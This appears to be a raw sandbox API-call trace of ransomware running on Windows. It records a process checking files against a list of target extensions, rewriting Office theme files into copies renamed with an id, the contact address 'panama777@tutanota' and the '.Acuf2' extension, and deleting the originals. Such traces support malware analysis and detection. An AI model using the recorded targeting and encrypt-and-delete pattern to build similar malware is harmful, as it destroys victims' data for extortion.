	[0257.324] lstrlenW (lpString=".jpg") returned 4
	[0257.324] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81
	[0257.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81
	[0257.324] lstrlenW (lpString=".doc") returned 4
	[0257.324] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.324] lstrlenW (lpString=".docx") returned 5
	[0257.324] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.324] lstrlenW (lpString=".pdf") returned 4
	[0257.324] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.324] lstrlenW (lpString=".xls") returned 4
	[0257.324] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.324] lstrlenW (lpString=".xlsx") returned 5
	[0257.324] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.324] lstrlenW (lpString=".ppt") returned 4
	[0257.324] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81
	[0257.325] lstrlenW (lpString=".zip") returned 4
	[0257.325] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.325] lstrlenW (lpString=".rar") returned 4
	[0257.325] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.325] lstrlenW (lpString=".bz2") returned 4
	[0257.325] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.325] lstrlenW (lpString=".7z") returned 3
	[0257.325] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81
	[0257.325] lstrlenW (lpString=".dbf") returned 4
	[0257.325] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81
	[0257.325] lstrlenW (lpString=".1cd") returned 4
	[0257.325] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Executive.eftx") returned 81
	[0257.325] lstrlenW (lpString=".jpg") returned 4
	[0257.325] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.325] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0257.325] lstrlenW (lpString="Foundry.eftx") returned 12
	[0257.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.328] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=18226) returned 1
	[0257.328] CloseHandle (hObject=0x344) returned 1
	[0257.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx")) returned 0x20
	[0257.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.328] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0257.328] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.329] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0257.329] GetLastError () returned 0x0
	[0257.329] ReadFile (in: hFile=0x344, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x4732, lpOverlapped=0x0) returned 1
	[0257.331] WriteFile (in: hFile=0x340, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x4740, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x4740, lpOverlapped=0x0) returned 1
	[0257.332] ReadFile (in: hFile=0x344, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.332] WriteFile (in: hFile=0x340, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0257.332] SetEndOfFile (hFile=0x340) returned 1
	[0257.332] CloseHandle (hObject=0x340) returned 1
	[0257.332] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.333] SetEndOfFile (hFile=0x344) returned 1
	[0257.335] CloseHandle (hObject=0x344) returned 1
	[0257.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\foundry.eftx")) returned 1
	[0257.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79
	[0257.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79
	[0257.335] lstrlenW (lpString=".doc") returned 4
	[0257.335] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.335] lstrlenW (lpString=".docx") returned 5
	[0257.335] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.335] lstrlenW (lpString=".pdf") returned 4
	[0257.335] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.335] lstrlenW (lpString=".xls") returned 4
	[0257.335] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.336] lstrlenW (lpString=".xlsx") returned 5
	[0257.336] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.336] lstrlenW (lpString=".ppt") returned 4
	[0257.336] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79
	[0257.336] lstrlenW (lpString=".zip") returned 4
	[0257.336] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.336] lstrlenW (lpString=".rar") returned 4
	[0257.336] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.336] lstrlenW (lpString=".bz2") returned 4
	[0257.336] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.336] lstrlenW (lpString=".7z") returned 3
	[0257.336] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79
	[0257.336] lstrlenW (lpString=".dbf") returned 4
	[0257.336] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79
	[0257.336] lstrlenW (lpString=".1cd") returned 4
	[0257.336] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79
	[0257.336] lstrlenW (lpString=".jpg") returned 4
	[0257.336] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79
	[0257.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79
	[0257.336] lstrlenW (lpString=".doc") returned 4
	[0257.336] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.336] lstrlenW (lpString=".docx") returned 5
	[0257.336] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.336] lstrlenW (lpString=".pdf") returned 4
	[0257.336] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.336] lstrlenW (lpString=".xls") returned 4
	[0257.336] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.337] lstrlenW (lpString=".xlsx") returned 5
	[0257.337] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.337] lstrlenW (lpString=".ppt") returned 4
	[0257.337] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79
	[0257.337] lstrlenW (lpString=".zip") returned 4
	[0257.337] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.337] lstrlenW (lpString=".rar") returned 4
	[0257.337] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.337] lstrlenW (lpString=".bz2") returned 4
	[0257.337] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.337] lstrlenW (lpString=".7z") returned 3
	[0257.337] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79
	[0257.337] lstrlenW (lpString=".dbf") returned 4
	[0257.337] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79
	[0257.337] lstrlenW (lpString=".1cd") returned 4
	[0257.337] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Foundry.eftx") returned 79
	[0257.337] lstrlenW (lpString=".jpg") returned 4
	[0257.337] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.337] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0257.337] lstrlenW (lpString="Grid.eftx") returned 9
	[0257.337] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0257.377] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=18639) returned 1
	[0257.377] CloseHandle (hObject=0x340) returned 1
	[0257.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx")) returned 0x20
	[0257.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0257.563] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.563] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0257.563] GetLastError () returned 0x0
	[0257.563] ReadFile (in: hFile=0x220, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x48cf, lpOverlapped=0x0) returned 1
	[0257.565] WriteFile (in: hFile=0x340, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x48d0, lpOverlapped=0x0) returned 1
	[0257.566] ReadFile (in: hFile=0x220, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.566] WriteFile (in: hFile=0x340, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0257.566] SetEndOfFile (hFile=0x340) returned 1
	[0257.566] CloseHandle (hObject=0x340) returned 1
	[0257.566] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.566] SetEndOfFile (hFile=0x220) returned 1
	[0257.568] CloseHandle (hObject=0x220) returned 1
	[0257.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.569] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\grid.eftx")) returned 1
	[0257.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76
	[0257.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76
	[0257.569] lstrlenW (lpString=".doc") returned 4
	[0257.569] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.569] lstrlenW (lpString=".docx") returned 5
	[0257.569] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.569] lstrlenW (lpString=".pdf") returned 4
	[0257.569] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.569] lstrlenW (lpString=".xls") returned 4
	[0257.569] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.569] lstrlenW (lpString=".xlsx") returned 5
	[0257.569] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.569] lstrlenW (lpString=".ppt") returned 4
	[0257.569] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76
	[0257.569] lstrlenW (lpString=".zip") returned 4
	[0257.570] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.570] lstrlenW (lpString=".rar") returned 4
	[0257.570] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.570] lstrlenW (lpString=".bz2") returned 4
	[0257.570] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.570] lstrlenW (lpString=".7z") returned 3
	[0257.570] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76
	[0257.570] lstrlenW (lpString=".dbf") returned 4
	[0257.570] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76
	[0257.570] lstrlenW (lpString=".1cd") returned 4
	[0257.570] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76
	[0257.570] lstrlenW (lpString=".jpg") returned 4
	[0257.570] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76
	[0257.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76
	[0257.570] lstrlenW (lpString=".doc") returned 4
	[0257.570] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.571] lstrlenW (lpString=".docx") returned 5
	[0257.571] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.571] lstrlenW (lpString=".pdf") returned 4
	[0257.571] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.571] lstrlenW (lpString=".xls") returned 4
	[0257.571] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.571] lstrlenW (lpString=".xlsx") returned 5
	[0257.571] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.571] lstrlenW (lpString=".ppt") returned 4
	[0257.571] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76
	[0257.571] lstrlenW (lpString=".zip") returned 4
	[0257.571] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.571] lstrlenW (lpString=".rar") returned 4
	[0257.571] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.571] lstrlenW (lpString=".bz2") returned 4
	[0257.571] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.571] lstrlenW (lpString=".7z") returned 3
	[0257.571] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76
	[0257.571] lstrlenW (lpString=".dbf") returned 4
	[0257.571] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76
	[0257.571] lstrlenW (lpString=".1cd") returned 4
	[0257.571] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Grid.eftx") returned 76
	[0257.571] lstrlenW (lpString=".jpg") returned 4
	[0257.571] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.572] lstrcmpiW (lpString1=".eftx", lpString2=".Acuf2") returned 1
	[0257.572] lstrlenW (lpString="Median.eftx") returned 11
	[0257.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0257.573] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x34cff1c | out: lpFileSize=0x34cff1c*=39546) returned 1
	[0257.573] CloseHandle (hObject=0x340) returned 1
	[0257.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx")) returned 0x20
	[0257.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0257.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340
	[0257.573] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.573] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x270
	[0257.573] GetLastError () returned 0x0
	[0257.573] ReadFile (in: hFile=0x340, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x9a7a, lpOverlapped=0x0) returned 1
	[0257.578] WriteFile (in: hFile=0x270, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0x9a80, lpOverlapped=0x0) returned 1
	[0257.579] ReadFile (in: hFile=0x340, lpBuffer=0x3f50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesRead=0x34cfed4*=0x0, lpOverlapped=0x0) returned 1
	[0257.579] WriteFile (in: hFile=0x270, lpBuffer=0x3f50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f50020*, lpNumberOfBytesWritten=0x34cfc9c*=0xea, lpOverlapped=0x0) returned 1
	[0257.579] SetEndOfFile (hFile=0x270) returned 1
	[0257.580] CloseHandle (hObject=0x270) returned 1
	[0257.580] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34cfec8 | out: lpNewFilePointer=0x0) returned 1
	[0257.580] SetEndOfFile (hFile=0x340) returned 1
	[0257.583] CloseHandle (hObject=0x340) returned 1
	[0257.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0257.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx")) returned 1
	[0257.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78
	[0257.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78
	[0257.794] lstrlenW (lpString=".doc") returned 4
	[0257.815] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.815] lstrlenW (lpString=".docx") returned 5
	[0257.815] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0257.815] lstrlenW (lpString=".pdf") returned 4
	[0257.815] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0257.815] lstrlenW (lpString=".xls") returned 4
	[0257.815] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0257.815] lstrlenW (lpString=".xlsx") returned 5
	[0257.816] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0257.816] lstrlenW (lpString=".ppt") returned 4
	[0257.816] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0257.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78
	[0257.816] lstrlenW (lpString=".zip") returned 4
	[0257.816] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0257.816] lstrlenW (lpString=".rar") returned 4
	[0257.816] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0257.816] lstrlenW (lpString=".bz2") returned 4
	[0257.816] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0257.816] lstrlenW (lpString=".7z") returned 3
	[0257.816] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0257.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78
	[0257.816] lstrlenW (lpString=".dbf") returned 4
	[0257.816] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0257.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78
	[0257.816] lstrlenW (lpString=".1cd") returned 4
	[0257.816] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0257.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78
	[0257.816] lstrlenW (lpString=".jpg") returned 4
	[0257.816] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0257.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78
	[0257.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78
	[0257.816] lstrlenW (lpString=".doc") returned 4
	[0257.816] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0257.816] lstrlenW (lpString=".docx") returned 5
